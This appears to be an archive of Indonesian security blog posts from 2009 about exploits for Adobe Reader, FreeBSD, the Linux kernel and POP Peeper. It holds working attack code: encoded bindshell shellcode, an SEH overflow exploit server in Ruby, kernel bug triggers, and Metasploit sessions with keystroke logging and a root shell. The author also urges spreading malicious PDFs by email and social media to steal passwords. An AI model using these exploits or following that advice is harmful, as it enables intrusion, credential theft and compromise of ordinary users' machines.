"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43"+
"\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57"+
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a"+
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b"+
"\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53"+
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"+
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49"+
"\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46"+
"\x4e\x36\x43\x46\x42\x50\x5a"

# SEH Based Exploit
spl0it = ":" + Rex::Text.pattern_create(272) + Rex::Arch::X86.jmp_short(6) + "\x90\x90" + [0x72d1146b].pack('V') + "\x90" * 20 + shellcode + "\x90" * 10 + " PRIVMSG " + "A" * 4 + " : /FINGER " + "B" * 8 + ".\r\n"
chld.put(spl0it)
sock.close

Dan inilah hasilnya,

Twitter and Adobe 0.9-day spl0it

Wednesday, December 16th, 2009

Salah satu artis yang terkenal dengan istilah ‘bechek’-nya pernah bilang dalam salah satu sesi wawancara untuk “acara televisi full of non-sense but terribly popular” (attention: something called infoblabla) bahwa twitter, facebook, friendster itu gak ada gunanya. Do’i gak mungkin ikutan begituan karena terlalu sibuk dengan skull, corse, blablabla. Dan yang ikutan begituan (attention: geek said, social networking) hanya orang-orang yang gak punya kerjaan.

Well, somehow, this cute little girl *heh??* probably right.

Unfortunately, gak semua orang update status untuk hal-hal yang tidak perlu. Komunitas security umumnya seringkali memposting hal-hal yang bermanfaat, dan lebih cepat mendapatkan informasi tersebut dibandingkan menunggu muncul di blog, news, forum, dll. Beberapa hal menarik diantaranya diskusi kecil-kecilan mengenai bug dan expl0it.

Baru-baru ini merebak mengenai adobe acrobat reader 0day, salah satu yang membahas bisa lihat di http://bit.ly/7UjG26. HDM dalam twitter nya pernah meminta contoh exploit tersebut bagi siapa saja yang memilikinya, dan dalam waktu singkat contoh 0day sploit tersebut didapatkan, copy nya bisa di download dari http://bit.ly/5VqgVv. Dan tentu saja dalam beberapa jam exploit tersebut muncul dalam repo metasploit, let’s give it a try:

Snow $ sudo ./msfconsole
Password:

                     888                           888        d8b888
                     888                           888        Y8P888
                     888                           888           888
88888b.d88b.  .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P  Y8b888       "88b88K     888 "88b888d88""88b888888
888  888  88888888888888   .d888888"Y8888b.888  888888888  888888888
888  888  888Y8b.    Y88b. 888  888     X88888 d88P888Y88..88P888Y88b.
888  888  888 "Y8888  "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
                                           888
                                           888
                                           888

       =[ metasploit v3.3.3-dev [core:3.3 api:1.0]
+ -- --=[ 476 exploits - 220 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7893 updated today (2009.12.16)

msf  > version
Framework: 3.3.3-dev.7817
Console  : 3.3.3-dev.7855
msf > use windows/fileformat/adobe_media_newplayer
msf exploit(adobe_media_newplayer) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(adobe_media_newplayer) > set RHOST 172.16.30.129
RHOST => 172.16.30.129
msf exploit(adobe_media_newplayer) > exploit

[*] Started bind handler
[*] Creating 'msf.pdf' file...
[*] Generated output file /Applications/Metasploit/data/exploits/msf.pdf
[*] Exploit completed, but no session was created.

Dear newbie, silahkan copy file msf.pdf ke komputer target untuk dibuka menggunakan adobe acrobat reader. Dalam eksperimen ini saya menggunakan adobe acrobat reader versi 9.1.0 di windows XP SP3 (non DEP).

msf exploit(adobe_media_newplayer) > exploit

[*] Started bind handler
[*] Creating 'msf.pdf' file...
[*] Generated output file /Applications/Metasploit/data/exploits/msf.pdf
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (172.16.30.1:57665 -> 172.16.30.129:4444)

meterpreter > idletime
User has been idle for: 2 mins 25 secs
meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
www.google.com
meterpreter > ctrl-z
Background session 1? [y/N]

Well, tentu saja dry joke (talking ’bout artist di blog kecoak???) di malam hari menjelang tidur ini bukan untuk high skilled exploiter. Hanya menunjukan sedikit mainan dari exploit terbaru Adobe acrobat reader menggunakan metasploit framework. Dalam contoh diatas tentu saja tidak selalu harus untuk kepentingan RCE (Remote Command Execution), bisa di-imajinasikan jika payload yang digunakan adalah “windows/download_exec” dari url tertentu dimana pada url tersebut telah tersimpan worm, program kecil pencuri password (paypal, email, facebook, banking), program kecil pencuri keystroke di windows, program kecil yang dapat men-scan document untuk mencari data tertentu (misal: doc pemerintahan, bisnis), ataupun sekedar bot untuk menjadi slave serangan ddos.

Cukup sebar file .pdf tersebut melalui email, irc, milist, forum, facebook, dll. Dan dalam sekejap, banyak hal yang kita inginkan bisa didapatkan. Itu sebabnya vuln dari software seperti adobe acrobat reader yang notabene pasti ada di setiap komputer windows sangat berbahaya, berbagai level dan kalangan menggunakan aplikasi tersebut, sehinggal 0day nya akan berakibat fatal.

So, take care, fellas!

FreeBSD rtld 0day exploit

Tuesday, December 1st, 2009

King Cope publish local exploit ini ke FD-Lists.

[bofh@begok ~/hack]$ uname -a
FreeBSD begok.xxxx.de 7.0-STABLE FreeBSD 7.0-STABLE #1: Fri Mar 27 11:24:51 WIT 2009     root@begok.xxxxx.de:/usr/obj/usr/src/sys/BEGOK  i386
[bofh@begok ~/hack]$ ./fbsd-local-2009.sh
fbsd-local-2009.sh FreeBSD local r00t zeroday
by Kingcope
November 2009
env.c: In function 'main':
env.c:5: warning: incompatible implicit declaration of built-in function 'malloc'
env.c:9: warning: incompatible implicit declaration of built-in function 'strcpy'
env.c:11: warning: incompatible implicit declaration of built-in function 'execl'
8:35
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
ALEX-ALEX
# id
uid=1007(bofh) gid=1007(bofh) euid=0(root) groups=1007(bofh)

Publikasi ini jelas akan langsung dimanfaatkan dengan cepat oleh para hacker/cracker yang bisa mendapatkan akses local ke mesin-mesin FreeBSD. Rasanya belum ada patch untuk saat ini. So, go wild guys? :p.

** Thanks buat temon untuk testing exploitnya, as currently I don’t have FBSD to test. *sigh*.

Typo bugs fmtmsg() on FreeBSD!

Monday, November 16th, 2009

FreeBSD hacker juga manusia :P . Hal tersebut terbukti pada sebuah kesalahan kecil yang dibuat oleh developer FreeBSD pada file /usr/src/lib/libc/gen/fmtmsg.c, khususnya yang ada pada fungsi printfmt().

01    /*
02     * Returns NULL on memory allocation failure, otherwise returns a pointer to
03     * a newly malloc()'d output buffer.
04     */
05    static char *
06    printfmt(char *msgverb, long class, const char *label, int sev,
07        const char *text, const char *act, const char *tag)
08    {
09            size_t size;
10            char *comp, *output;
11            const char *sevname;
12
13            size = 32;
14        ...
15            if (text != MM_NULLTXT)
16                    size += strlen(text);
17            if (text != MM_NULLACT)
18                    size += strlen(act);
19       ...
20            if ((output = malloc(size)) == NULL)
21       ...
22            return (output);
23    }

Seperti diketahui, fmtmsg adalah sebuah sebuah routines yang menghandle display message pada standard error dan atau system console. Berdasarkan manual page dari fmtmsg itu sendiri, kita bisa men-trigger bugs yang dimaksud dengan code sederhana seperti berikut:

#include 

int main(int argc, char * argv[])
{
fmtmsg(MM_UTIL | MM_PRINT, "BSD:ls", MM_ERROR,
"illegal option -- z", MM_NULLACT, "BSD:ls:001");
return 0;
}

dan hasilnya…

# gcc -o fmtbugs fmtbugs.c
# ./fmtbugs
Segmentation fault (core dumped)

Ok, kenapa bisa kondisi Segfault terjadi?. Hal tersebut terjadi karena pada saat variable “MM_NULLACT” di check apakah bernilai NULL atau tidak, developer FreeBSD ‘tidak sengaja’ mengambil argument ‘text’ yang pada contoh code diatas bernilai “illegal option — z” dan tentunya akan terjadi segmentation fault karena mengambil nilai yang salah. Seharusnya nilai yang diambil adalah argument ‘act’ yang pada contoh code diatas bernilai MM_NULLACT.

Info bugs ini di ambil dari link XORL blog dan FreeBSD Official site.

~jackD

CVE-2009-2698

Tuesday, September 8th, 2009

It’s been sometimes ago, sejak terakhir kalinya isi blog ini bernuansa informasi teknikal, selebihnya bersifat informasi seperti berita dsb. Bukan sesuatu yang buruk kok, tapi seperti biasa, alasan klasik, real world, school, work, family, well…you know. Semakin sulit untuk tetap berkontribusi pada komunitas seiring pertambahan usia, sementara harapan untuk anggota baru yang lebih muda cukup miris, mereka lebih senang bertanya “bagaimana caranya untuk join?!” sementara telah tertulis jelas pada content blog procedure praktis untuk bisa join. I mean, c’mon guys, how can you write ’bout something while you can’t read properly?

Well, klo kata anak muda jaman sekarang ini adalah ‘curcol’, so…enough. Let’s talk something fishy.

Julien dan Taviso sepertinya akhir-akhir ini melakukan auditing terhadap kode-kode pada kernel linux khususnya yang berhubungan dengan implementasi networking. Sebelumnya kita telah melihat bug CVE-2009-2692, kali ini kita akan melihat lebih dalam bug CVE-2009-2698. Penjelasan singkat namun informatif dapat dilihat pada blognya Julien Tinnes.

Julien dan Taviso menemukan bahwa linux kernel < 2.6.19 memiliki masalah NULL pointer dereference pada implementasi protocol UDP, sebetulnya bug ini tidaklah terlalu bermasalah karena telah di patch oleh Herbert Xu pada bulan oktober 2006. Namun jika kalian menemukan server dengan spesifikasi kernel < 2.6.19 maka bug ini layak untuk dicoba ;) .

Permasalahan terdapat pada routine / fungsi udp_sendmsg, lebih spesifik lagi pada implementasi suatu variable pointer yang disebut rt. rt merupakan variable pointer yang memiliki tipe data struktur rtable (routing table). Sebagai informasi, routine udp_sendmsg merupakan implementasi pengiriman paket udp melalui socket pada linux. Variable pointer rt didefinisikan sebagai NULL pada bagian awal routine udp_sendmsg, pada implementasi routine udp_sendmsg tersebut ditemukan cara agar variable rt tetap bernilai NULL saat memanggil fungsi ip_append_data dan ini disebabkan oleh bagian kode berikut ini:

if (up->pending) {
    /*
     * There are pending frames.
     * The socket lock must be held while it's corked.
     */
     lock_sock(sk);
     if (likely(up->pending)) {
        if (unlikely(up->pending != AF_INET)) {
            release_sock(sk);
            return -EINVAL;
        }
        goto do_append_data;
     }
     release_sock(sk);
}

Kode diatas seharusnya dieksekusi ketika terdapat pending frame yang akan di transmit, dan pada routine ip_append_data tidak terdapat pengecekan apakah variable pointer rt bernilai NULL karena secara logic kode berikut ini akan dijalankan:

794        if (skb_queue_empty(&sk->sk_write_queue)) {
795                /*
796                 * setup for corking.
797                 */
798                opt = ipc->opt;
...
...
       } else {
820                rt = inet->cork.rt;
821                if (inet->cork.flags & IPCORK_OPT)
822                        opt = inet->cork.opt;
823
824                transhdrlen = 0;
825                exthdrlen = 0;
826                mtu = inet->cork.fragsize;
827        }

Jadi jika alur program datang ke routine ip_append_data ketika variable rt bernilai NULL maka telah diasumsikan bahwa sebelumnya telah terdapat corking pada socket sehingga logic “else” yang akan dijalankan. Kita bisa lihat pada logic “else” variable pointer rt akan di-berikan inisialisasi dengan nilai dari variable inet->cork.rt, penjelasan singkat telah diberikan oleh Herber Xu walaupun pada saat patch kemungkinan dia tidak menyadari masalah security di bagian kode tersebut. Herber Xu lebih melihat dari sisi developer dengan memberikan statement:

UDP tracks corking status through the pending variable.  The
IP layer also tracks it through the socket write queue.  It
is possible for the two to get out of sync when MSG_PROBE is
used.

This patch changes UDP to check the write queue to ensure
that the two stay in sync.

Julien dan Taviso menemukan cara agar routine ip_append_data diatas (kernel < 2.6.19) dapat dieksekusi dengan variable pointer tetap bernilai NULL dan masuk pada logic “if”, dimana pada logic tersebut terdapat beberapa kode yang melakukan pointer dereference terhadap variable rt. Misalnya pada bagian berikut:

...
 809                dst_hold(&rt->u.dst);
 810                inet->cork.fragsize = mtu = dst_mtu(rt->u.dst.path);
 811                inet->cork.rt = rt;
...

Dan pada blog Julien diberikan cara untuk men-trigger bug tersebut:

#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>

int main(int argc, char **argv)
{
int fd = socket(PF_INET, SOCK_DGRAM, 0);
char buf[1024] = {0};
struct sockaddr to = {
.sa_family = AF_UNSPEC,
.sa_data = "TavisIsAwesome",
};

sendto(fd, buf, 1024, MSG_PROXY | MSG_MORE, &to, sizeof(to));
sendto(fd, buf, 1024, 0, &to, sizeof(to));

return 0;
}

Masalah NULL ptr dereference kali ini berbeda dengan bug sebelumnya dimana kernel dapat langsung dibawa ke lokasi page 0 untuk mengesekusi kode-kode yang ditentukan oleh user. Bug NULL ptr deference memiliki beberapa sub-class, diantaranya tipe dereference (data read, data write, code execution) dan lokasi pointer ketika di-dereference (memory under direct userland control, kernel memory under indirect userland control, kernel memory under kernel control). Seperti yang dijelaskan oleh PaX team pada forum grsecurity, bug sock_sendpage merupakan “code execution” dan “memory under direct userland”. Sedangkan bug yang saat ini kita bahas masuk pada class “data read” dan “memory under direct userland control”.

Ada 3 buah public exploit yang beredar ketika bug tersebut dirilis, yang pertama dari p0c73n1, yang kedua oleh spender dan terakhir oleh andi@void.at. Implementasi exploit dari p0c73n1 cukup sederhana, dia melemparkan lokasi dari kernel_code pada lokasi page 0 dan mentrigger bug NULL ptr, kemudian berharap bahwa eksekusi kernel akan membaca / mengeksekusi lokasi page 0. Spender melakukan analisis  yang lebih mendalam, dan exploit andi merupakan penyederhanaan dari exploit spender dengan memfokuskan pada proses exploitasi, namun intinya satu yaitu memanfaatkan (*output)(struct sk_buff*) dari dst_pointer yang digunakan oleh rtable sebagai callback pada exploit, posisi tersebut terdapat pada offset +0×74 dari rtable.

Variable pointer rt memiliki tipe data rtable, yang definisinya sebagai berikut:

...
  50struct rtable
  51{
  52        union
  53        {
  54                struct dst_entry        dst;
  55                struct rtable           *rt_next;
  56        } u;
  57
  58        struct in_device        *idev;
  59
  60        unsigned                rt_flags;
  61        __u16                   rt_type;
  62        __u16                   rt_multipath_alg;
  63
  64        __u32                   rt_dst; /* Path destination     */
  65        __u32                   rt_src; /* Path source          */
  66        int                     rt_iif;
  67
  68        /* Info on neighbour */
  69        __u32                   rt_gateway;
  70
  71        /* Cache lookup keys */
  72        struct flowi            fl;
  73
  74        /* Miscellaneous cached information */
  75        __u32                   rt_spec_dst; /* RFC1122 specific destination */
  76        struct inet_peer        *peer; /* long-living peer info */
  77};
  78
...

Struktur rtable mendefinisikan union yang salah satu anggotanya bertipe struct dst_entry. Berikut ini definisi struktur dst_entry:

...
  38struct dst_entry
  39{
  40        struct dst_entry        *next;
  41        atomic_t                __refcnt;       /* client references    */
  42        int                     __use;
  43        struct dst_entry        *child;
  44        struct net_device       *dev;
  45        short                   error;
  46        short                   obsolete;
  47        int                     flags;
  48#define DST_HOST                1
  49#define DST_NOXFRM              2
  50#define DST_NOPOLICY            4
  51#define DST_NOHASH              8
  52#define DST_BALANCED            0x10
  53        unsigned long           lastuse;
  54        unsigned long           expires;
  55
  56        unsigned short          header_len;     /* more space at head required */
  57        unsigned short          trailer_len;    /* space to reserve at tail */
  58
  59        u32                     metrics[RTAX_MAX];
  60        struct dst_entry        *path;
  61
  62        unsigned long           rate_last;      /* rate limiting for ICMP */
  63        unsigned long           rate_tokens;
  64
  65        struct neighbour        *neighbour;
  66        struct hh_cache         *hh;
  67        struct xfrm_state       *xfrm;
  68
  69        int                     (*input)(struct sk_buff*);
  70        int                     (*output)(struct sk_buff*);
  71
  72#ifdef CONFIG_NET_CLS_ROUTE
  73        __u32                   tclassid;
  74#endif
  75
  76        struct  dst_ops         *ops;
  77        struct rcu_head         rcu_head;
  78
  79        char                    info[0];
  80};
...

Pada baris ke-70 terdapat suatu variable pointer dengan tipe data struct sk_buff yang nantinya akan digunakan sebagai callback oleh fungsi NF_HOOK. Sehingga oleh exploit (setelah di-mapping pada page 0) pada posisi tersebut (NULL+0×74) akan dimasukan lokasi dari fungsi own_the_kernel (fungsi ini pada tiap exploit berbeda-beda namanya, namun intinya adalah memerintahkan kernel untuk memberikan uid=0 / root pada proses exploit). Ketika NF_HOOK mengakses lokasi callback tersebut maka secara tidak langsung akan dibawa untuk mengakses page 0 offset +0×74, dari sinilah kernel akan dituntun untuk mengeksekusi fungsi own_the_kernel dan memberikan rootshell pada kita.

Penjelasan mengenai fungsi NF_HOOK dapat dilihat disini. Secara singkat kita bisa mengatakan bahwa fungsi NF_HOOK akan selalu di eksekusi ketika kernel linux hendak mengirimkan data melalui jaringan. Linux mendukung beragam NIC (Network Interface Card) melalui bergam device drivers, dan NF_HOOK merupakan salah satu fungsi standard high level routing yang digunakan oleh linux dalam hal memanage networking.

Julien dan Taviso mengakhiri advisories mereka dengan menambahkan patch berupa proses checking terhadap variable pointer rt dalam fungsi ip_append_data, hal ini untuk mencegah NULL ptr deref dari variable rt dalam fungsi tersebut dengan anggapan bahwa fungsi ip_append_data memang tidak akan pernah mengakses variable rt dalam kondisi NULL.

CVE-2009-2692 (Linux NULL pointer dereference)

Friday, August 14th, 2009

Tavis Ormandy mengeluarkan advisories mengenai NULL pointer dereference vulnerability pada implementasi socket untuk kernel Linux 2.6 dan 2.4. Full advisoriesnya dapat dilihat pada FD-list. Spender dari grsecurity project merilis exploit untuk bug ini dengan memanfaatkan pulseaudio seperti rilis exploit sebelumnya. Jadi jika ada yang memiliki server dengan pulseaudio versi lama dan belum di patch, serta mengaktifkan modul-modul yang vulnerable terhadap hole ini, sebaiknya melakukan uji coba terhadap server tersebut, paling tidak dengan exploit spender yang kemungkinan besar akan digunakan begitu saja oleh script kiddies.

Uninstall pulseaudio jika tidak digunakan, atau merubah pathnya dari default mungkin akan mengurangi dampak serangan para script kiddies. Beberapa tindakan pencegahan dapat dilakukan, namun yang pasti SELinux tidak dapat menolong banyak karena pada exploit ini terdapat implementasi untuk bypass SELinux :) .

~ GS

Metasploit’s LIB

Thursday, March 19th, 2009

Baru-baru ini saya membaca blog dari Matasano setelah cukup lama mereka ‘idle’ dari menulis blog. Blog yang ditulis oleh eric monti tersebut cukup menarik, intinya adalah membahas penggunaan Ruby sebagai tools untuk proses penetration testing. Silahkan dibaca secara lengkap mengenai tools tersebut.

Well, eric monti bukan yang pertama. Semakin banyak pihak (baik individu maupun team) yang menggunakan ruby dalam bidang security saat ini, alasan utama karena ruby powerfull dan membuat nyaman programmer saat menyusun barisan-barisan code. Ronin juga termasuk salah satu pengikut aliran ruby untuk penetration tools.

Pengikut aliran fanatisme yang kebetulan penggila metasploit biasanya akan berpikir bahwa project-project lain hanya berusaha mengikuti jejak metasploit, ataupun minimal terinspirasi oleh project metasploit. Dan HDM pernah menyebutkan bahwa metasploit di klaim sebagai project ruby terbesar saat ini.

Saya pribadi tidak begitu peduli dengan berbagai macam aliran atau fanatisme, namun cukup yakin bahwa metasploit merupakan framework opensource terlengkap dalam hal pengembangan exploit untuk saat ini. Walaupun bagi para security consultan yang sudah mencicipi lezatnya core impact ataupun immunity canvas akan menilai bahwa metasploit framework berusaha mengikuti jejak kedua project tersebut, tetap saja pengaruh opensource pada suatu project akan memberikan peningkatan kreativitas yang signifikan. Alasannya jelas karena opensource mendapatkan ide-ide kreativitas dari masyarakat seluruh dunia.  Oke, cukup bicara mengenai perbandingan.

Kita sering melihat pada berbagai forum ataupun mailing list dibahas mengenai metasploit sebagai alat untuk exploitasi. Updatenya ditunggu-tunggu, apalagi versi barunya. Sebetulnya tidak salah, namun itu berarti kita hanya memanfaatkan sebagian dari kemampuan penuh metasploit framework. Kita hanya memanfaatkan ‘metasploit’-nya, belum ‘framework’-nya.

Mungkinkah karena tidak ada lagi hal yang membuat seseorang menjadi tertantang untuk melakukan eksplorasi? Inikah hasil dari kemudahan konsep framework dan object-oriented programming?

- Taken from somewhere -

Hm, agree, but not fully.

Bentuk framework memang berpotensi untuk menyesatkan para pendatang baru, namun merupakan suatu seni tersendiri bagi yang tertarik untuk memanfaatkannya secara penuh. Sistem operasi dan Aplikasi user saat ini berkembang semakin baik, terutama dalam hal security. Ini merupakan hasil dari ’security through obscurity’. Jika jaman dahulu bugs stack-overflow bertaburan dimana-mana dan untuk exploitasi nya cukup dengan sedikit utak-atik, maka saat ini bugs tersebut tidak dapat dengan mudah ditemukan dan di exploitasi begitu saja. Sudah ada /SafeSEH, /GS, ASLR, dsb yang membuat proses riset penemuan serta exploitasi bugs overflow menjadi jauh lebih sulit dari 10 tahun yang lalu.

Jika jaman dahulu shellcode bisa dikategorikan layer paling tinggi atau proses akhir dari suatu exploitasi, maka saat ini shellcode masuk pada kategori layer menengah kebawah. Dalam arti dibutuhkan metode-metode logical yang lebih kompleks dan kreativ untuk dapat membuat shellcode-shellcode tersebut  dieksekusi oleh target. Dengan adanya framework, ataupun object-oriented, maka kita dapat lebih memfokuskan diri pada pengembangan metode-metode logical serangan yang lebih tinggi dan lebih kreatif sementara hal-hal statis lainnya (shellcode, assembly, remote connection, dll) di urus oleh framework. Dan bentuk framework yang seperti layering ini juga memudahkan pengembangan pada layer-layer bagian bawah dimana kita dapat menambahkan kapan saja metode-metode ataupun jenis shellcode yang akan digunakan.

Ada berbagai macam contoh framework saat ini, namun kita hanya akan memfokuskan pada metasploit sebagai framework opensource yang sangat berpengaruh di dunia security saat ini.

Penjelasan detail mengenai dalemannya metasploit framework bisa ditemukan pada dokumentasi bawaan metasploit, namun untuk memahami secara mendalam kita harus bisa membaca isi dari code-code ruby didalamnya.

lib$ ls
bindata		metasm.bak	net		packetfu.rb	rex.rb		scruby.rb	zip
bindata.rb	metasm.rb	ole		rabal		rex.rb.ts.rb	telephony
metasm		msf		packetfu	rex		scruby		telephony.rb

Contoh diatas menunjukan isi direktori LIB dari metasploit framework. Dan bagi para programmer akan langsung bisa melihat bahwa direktori LIB tersebut berisi ribuan code yang dapat dimanfaatkan oleh script-script ruby standalone. Termasuk diantaranya beberapa contoh feature-feature ‘rbkb’ buatan eric monti diatas, seperti encoding/decoding. Dengan memanfaatkan library-library siap saji tersebut maka kita dapat membuat beragam tools, bahkan dapat juga dimanfaatkan untuk mengembangkan aplikasi-aplikasi lain diluar konteks security.

Namun tentu saja kemampuan metasploit akan sangat berguna dalam proses pengembangan exploit, terutama untuk membuat exploit tersebut lebih reliable. Metasploit juga dapat digunakan untuk mempercepat proses porting berbagai macam public exploit.


#!/usr/bin/env ruby

$:.unshift(' ../lib ')

require 'rex'

# Win32 Bindshell Shellcode (author=metasploit,port=55555,encoder=pexalphanum,size=709,exitfunc=thread)
sc =  "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" +
      "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" +
      "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" +
      "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" +
      "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x46\x4b\x4e" +
      "\x4d\x44\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x38" +
      "\x4e\x46\x46\x32\x46\x42\x4b\x48\x45\x34\x4e\x53\x4b\x58\x4e\x47" +
      "\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x31\x4b\x38" +
      "\x4f\x35\x42\x42\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x38" +
      "\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c" +
      "\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e" +
      "\x46\x4f\x4b\x53\x46\x35\x46\x32\x4a\x42\x45\x57\x45\x4e\x4b\x48" +
      "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x54" +
      "\x4b\x58\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x43\x50\x4e\x52\x4b\x58" +
      "\x49\x38\x4e\x56\x46\x52\x4e\x51\x41\x36\x43\x4c\x41\x43\x4b\x4d" +
      "\x46\x36\x4b\x58\x43\x54\x42\x53\x4b\x48\x42\x44\x4e\x30\x4b\x58" +
      "\x42\x57\x4e\x31\x4d\x4a\x4b\x38\x42\x54\x4a\x50\x50\x55\x4a\x46" +
      "\x50\x58\x50\x44\x50\x50\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x56" +
      "\x43\x35\x48\x36\x4a\x46\x43\x43\x44\x53\x4a\x46\x47\x47\x43\x37" +
      "\x44\x43\x4f\x55\x46\x55\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e" +
      "\x4e\x4f\x4b\x53\x42\x55\x4f\x4f\x48\x4d\x4f\x35\x49\x58\x45\x4e" +
      "\x48\x36\x41\x58\x4d\x4e\x4a\x50\x44\x30\x45\x45\x4c\x46\x44\x30" +
      "\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55" +
      "\x4f\x4f\x48\x4d\x43\x55\x43\x45\x43\x55\x43\x35\x43\x35\x43\x34" +
      "\x43\x55\x43\x44\x43\x45\x4f\x4f\x42\x4d\x48\x46\x4a\x46\x49\x4d" +
      "\x43\x30\x48\x36\x43\x55\x49\x38\x41\x4e\x45\x49\x4a\x46\x46\x4a" +
      "\x4c\x31\x42\x47\x47\x4c\x47\x55\x4f\x4f\x48\x4d\x4c\x36\x42\x41" +
      "\x41\x35\x45\x45\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x42" +
      "\x49\x4e\x47\x45\x4f\x4f\x48\x4d\x43\x55\x45\x45\x4f\x4f\x42\x4d" +
      "\x4a\x36\x45\x4e\x49\x54\x48\x48\x49\x54\x47\x35\x4f\x4f\x48\x4d" +
      "\x42\x55\x46\x45\x46\x55\x45\x45\x4f\x4f\x42\x4d\x43\x59\x4a\x46" +
      "\x47\x4e\x49\x57\x48\x4c\x49\x37\x47\x55\x4f\x4f\x48\x4d\x45\x55" +
      "\x4f\x4f\x42\x4d\x48\x36\x4c\x46\x46\x46\x48\x56\x4a\x46\x43\x36" +
      "\x4d\x36\x49\x48\x45\x4e\x4c\x36\x42\x55\x49\x45\x49\x32\x4e\x4c" +
      "\x49\x48\x47\x4e\x4c\x36\x46\x54\x49\x38\x44\x4e\x41\x43\x42\x4c" +
      "\x43\x4f\x4c\x4a\x50\x4f\x44\x34\x4d\x32\x50\x4f\x44\x54\x4e\x32" +
      "\x43\x39\x4d\x48\x4c\x37\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x36" +
      "\x44\x47\x50\x4f\x43\x4b\x48\x51\x4f\x4f\x45\x57\x46\x34\x4f\x4f" +
      "\x48\x4d\x4b\x45\x47\x45\x44\x55\x41\x35\x41\x55\x41\x35\x4c\x36" +
      "\x41\x50\x41\x55\x41\x35\x45\x45\x41\x45\x4f\x4f\x42\x4d\x4a\x56" +
      "\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x55\x4f\x4f\x48\x4d\x4c\x36" +
      "\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f\x42\x4d\x4b\x48\x47\x35\x4e\x4f" +
      "\x43\x58\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x45\x4f\x4f\x42\x4d" +
      "\x4a\x36\x4f\x4e\x50\x4c\x42\x4e\x42\x56\x43\x55\x4f\x4f\x48\x4d" +
      "\x4f\x4f\x42\x4d\x5a"

nextseh = Rex::Arch.pack_addr(ARCH_X86, 0x909006EB)
seh = Rex::Arch.pack_addr(ARCH_X86, 0x10014E39)
nop = "\x90"

sock = Rex::Socket::TcpServer.create('LocalPort' => '110')
chld = sock.accept

chld.write("+OK\r\n")
chld.get
chld.write("+OK\r\n")
chld.get
chld.write("+OK\r\n")
chld.get
chld.write("+OK 1 100\r\n")
chld.get
chld.write("+OK\r\n1 " + "A" * 1072 + "#{nextseh}" + "#{seh}" + "#{nop}" * 32 + "#{sc}" + "\r\n.\r\n")

Contoh diatas memperlihatkan penggunaan metasploit secara ‘kotor’ yang merupakan porting dari Milw0rm. Public exploit dari milw0rm tersebut cukup reliable dengan memanfaatkan SEH serta pop+pop+ret dari library bawaan poppeer. Namun dengan integrasi pada framework metasploit, kita dapat menambahkan lebih banyak feature seperti beragam payload/shellcode, integrasi dengan meterpreter sebagai salah satu feature untuk post-exploitation method, automatic backdoor installation, hingga me-register SEH secara langsung untuk mendapatkan hasil yang lebih reliable. Berikut salah satu contoh bentuk model yang telah di porting dan di integrasikan kedalam metasploit (based on MC’s):

class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
		super(update_info(info,
			'Name'           => 'POP Peeper 3.4.0.0 UIDL Remote Buffer Overflow Exploit',
			'Description'    => %q{
                        POP Peeper is vulnerable to a remote buffer overflow vulnerability.This vulnerability is exploitable on the client side.
                        A vulnerable POP Peeper user must connect to an exploitation server and attempt to use retrieve mail to be affected.

                        To trigger this vulnerability, POP Peeper has to connect to an exploitation server acting as a POP3 daemon.
                        POP Peeper then uses the UIDL command to get unique IDs for each email it later plans on retrieving.
